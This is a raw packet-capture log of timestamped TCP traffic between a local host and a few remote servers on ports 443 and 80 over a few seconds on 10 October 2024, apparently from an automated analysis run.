Oct 10, 2024 10:14:16.083864927 CEST	64860	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.083882093 CEST	443	64860	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.183214903 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.183238029 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.183301926 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.183342934 CEST	64855	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.183443069 CEST	64855	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.183629036 CEST	64855	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.183676004 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.183706999 CEST	64855	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.183725119 CEST	443	64855	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.186186075 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.186248064 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.186367035 CEST	64861	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.186378002 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.186404943 CEST	443	64861	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.186434031 CEST	64856	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.186434031 CEST	64856	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.186477900 CEST	64861	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.186477900 CEST	64856	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.186499119 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.186536074 CEST	64856	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.186542988 CEST	443	64856	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.186665058 CEST	64861	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.186681032 CEST	443	64861	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.188700914 CEST	64862	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.188734055 CEST	443	64862	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.188812017 CEST	64862	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.188937902 CEST	64862	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.188947916 CEST	443	64862	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.490617037 CEST	80	64857	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:16.490649939 CEST	80	64857	64.233.184.82	192.168.2.4
Oct 10, 2024 10:14:16.490695000 CEST	64857	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:16.490731955 CEST	64857	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:16.490997076 CEST	64857	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:16.491031885 CEST	64857	80	192.168.2.4	64.233.184.82
Oct 10, 2024 10:14:16.518737078 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.519201994 CEST	64858	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.519227028 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.519671917 CEST	64858	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.519679070 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.627897978 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.627932072 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.627985001 CEST	64858	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.627995014 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.628031969 CEST	64858	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.628343105 CEST	64858	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.628366947 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.628384113 CEST	64858	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.628391027 CEST	443	64858	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.633290052 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.633358955 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.633420944 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.633642912 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.633661985 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.694722891 CEST	443	64859	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.695163965 CEST	64859	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.695199013 CEST	443	64859	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.695688009 CEST	64859	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.695693016 CEST	443	64859	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.724819899 CEST	64864	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:16.729617119 CEST	80	64864	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:16.729677916 CEST	64864	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:16.729896069 CEST	64864	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:16.734687090 CEST	80	64864	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:16.757761955 CEST	443	64860	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.758229017 CEST	64860	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.758258104 CEST	443	64860	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.758676052 CEST	64860	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.758682013 CEST	443	64860	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.803402901 CEST	443	64859	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.803570986 CEST	443	64859	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.804027081 CEST	64859	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.804074049 CEST	64859	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.804095984 CEST	443	64859	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.804130077 CEST	64859	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.804136038 CEST	443	64859	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.806785107 CEST	64865	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.806833029 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.806967974 CEST	64865	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.807121992 CEST	64865	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.807137966 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.858576059 CEST	443	64862	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.860055923 CEST	64862	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.860076904 CEST	443	64862	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.860578060 CEST	64862	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.860586882 CEST	443	64862	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.864847898 CEST	443	64860	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.865178108 CEST	443	64860	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.867526054 CEST	64860	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.867639065 CEST	64860	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.867662907 CEST	443	64860	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.867676973 CEST	64860	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.867683887 CEST	443	64860	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.870486975 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.870513916 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.871000051 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.871001005 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.871072054 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.875891924 CEST	443	64861	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.876283884 CEST	64861	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.876302004 CEST	443	64861	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.876754999 CEST	64861	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.876760960 CEST	443	64861	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.968678951 CEST	443	64862	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.969171047 CEST	443	64862	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.969237089 CEST	64862	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.969300032 CEST	64862	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.969300032 CEST	64862	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.969311953 CEST	443	64862	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.969317913 CEST	443	64862	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.971899033 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.971983910 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.972163916 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.972315073 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.972352028 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.988060951 CEST	443	64861	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.988276005 CEST	443	64861	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.988343954 CEST	64861	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.988370895 CEST	64861	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.988370895 CEST	64861	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.988377094 CEST	443	64861	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.988383055 CEST	443	64861	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.990874052 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.990907907 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:16.990988970 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.991127968 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:16.991142035 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.328528881 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.329034090 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.329121113 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.329524994 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.329541922 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.459800959 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.459876060 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.460069895 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.460150957 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.460233927 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.460381031 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.460381031 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.460403919 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.460572004 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.460684061 CEST	443	64863	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.460736036 CEST	64863	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.463244915 CEST	64869	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.463344097 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.463444948 CEST	64869	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.463634014 CEST	64869	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.463670969 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.487447023 CEST	80	64864	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:17.487462044 CEST	80	64864	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:17.487524033 CEST	64864	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:17.487581015 CEST	64864	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:17.492871046 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.508476973 CEST	64864	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:17.508513927 CEST	64864	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:17.509407043 CEST	64865	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.509418964 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.510159969 CEST	64865	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.510168076 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.538628101 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.539248943 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.539267063 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.540005922 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.540014029 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.614896059 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.614976883 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.615041971 CEST	64865	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.615060091 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.615161896 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.615278959 CEST	64865	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.615477085 CEST	64865	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.615492105 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.615505934 CEST	64865	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.615524054 CEST	443	64865	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.639771938 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.661839008 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.661915064 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.661958933 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.662059069 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.662076950 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.662101030 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.662616968 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.674582958 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.682558060 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.694879055 CEST	64870	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.694968939 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.695038080 CEST	64870	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.696307898 CEST	64870	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.696345091 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.696986914 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.697011948 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.697623014 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.697627068 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.741108894 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.741203070 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.741216898 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.741305113 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.743043900 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.797218084 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.797266960 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.800740004 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.800755024 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.801163912 CEST	64866	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.801179886 CEST	443	64866	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.807216883 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.807250023 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.807269096 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.807346106 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.807364941 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.807375908 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.807405949 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.888127089 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.888215065 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.888233900 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.888248920 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.888317108 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.900518894 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.900544882 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.900612116 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.900654078 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.900732040 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.900968075 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.936032057 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.936033010 CEST	64867	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.936116934 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.936155081 CEST	443	64867	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.939954996 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.939954996 CEST	64868	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.939999104 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.940012932 CEST	443	64868	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.943696976 CEST	64871	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.943730116 CEST	443	64871	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.943826914 CEST	64871	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.945839882 CEST	64872	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.945939064 CEST	443	64872	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.946053028 CEST	64872	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.946377993 CEST	64871	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.946394920 CEST	443	64871	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.946578979 CEST	64872	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.946625948 CEST	443	64872	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.947962999 CEST	64873	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:17.948060036 CEST	443	64873	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:17.948199987 CEST	64873	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.123867989 CEST	64873	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.123963118 CEST	443	64873	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.267849922 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.298018932 CEST	64869	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.298075914 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.298738003 CEST	64869	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.298753023 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.299638033 CEST	64874	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:18.304666996 CEST	80	64874	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:18.304740906 CEST	64874	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:18.312983990 CEST	64874	80	192.168.2.4	173.194.76.82
Oct 10, 2024 10:14:18.317893028 CEST	80	64874	173.194.76.82	192.168.2.4
Oct 10, 2024 10:14:18.402492046 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.402529001 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.402602911 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.402609110 CEST	64869	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.402643919 CEST	64869	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.427942038 CEST	64869	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.427978992 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.427984953 CEST	64869	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.427994967 CEST	443	64869	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.433676004 CEST	64875	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.433720112 CEST	443	64875	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.433780909 CEST	64875	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.434346914 CEST	64875	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.434359074 CEST	443	64875	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.454113960 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.454700947 CEST	64870	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.454727888 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.455488920 CEST	64870	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.455497980 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.565746069 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.565817118 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.565900087 CEST	64870	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.565972090 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.566025972 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.566082954 CEST	64870	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.566304922 CEST	64870	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.566344976 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.566380978 CEST	64870	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.566395998 CEST	443	64870	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.571211100 CEST	64876	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.571310997 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.571429968 CEST	64876	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.571779013 CEST	64876	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.571815968 CEST	443	64876	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.899535894 CEST	443	64871	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.900058031 CEST	64871	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.900103092 CEST	443	64871	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.900624037 CEST	64871	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.900629997 CEST	443	64871	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.902425051 CEST	443	64872	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.902798891 CEST	64872	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.902829885 CEST	443	64872	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.903264999 CEST	64872	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.903270006 CEST	443	64872	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.916038036 CEST	443	64873	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.916446924 CEST	64873	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.916484118 CEST	443	64873	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:18.916980982 CEST	64873	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:18.916986942 CEST	443	64873	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.007642984 CEST	443	64871	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.007719040 CEST	443	64871	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.007826090 CEST	64871	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.007989883 CEST	64871	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.008013964 CEST	443	64871	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.008027077 CEST	64871	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.008034945 CEST	443	64871	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.011012077 CEST	64877	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.011051893 CEST	443	64877	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.011187077 CEST	64877	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.011405945 CEST	443	64872	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.011420965 CEST	64877	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.011430979 CEST	443	64877	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.011476040 CEST	443	64872	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.013700962 CEST	64872	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.013766050 CEST	64872	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.013782978 CEST	443	64872	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.013806105 CEST	64872	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.013813019 CEST	443	64872	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.016307116 CEST	64878	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.016326904 CEST	443	64878	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.016422987 CEST	64878	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.016551018 CEST	64878	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.016560078 CEST	443	64878	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.025835037 CEST	443	64873	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.025898933 CEST	443	64873	13.107.253.45	192.168.2.4
Oct 10, 2024 10:14:19.025952101 CEST	64873	443	192.168.2.4	13.107.253.45
Oct 10, 2024 10:14:19.026161909 CEST	64873	443	192.168.2.4	13.107.253.45
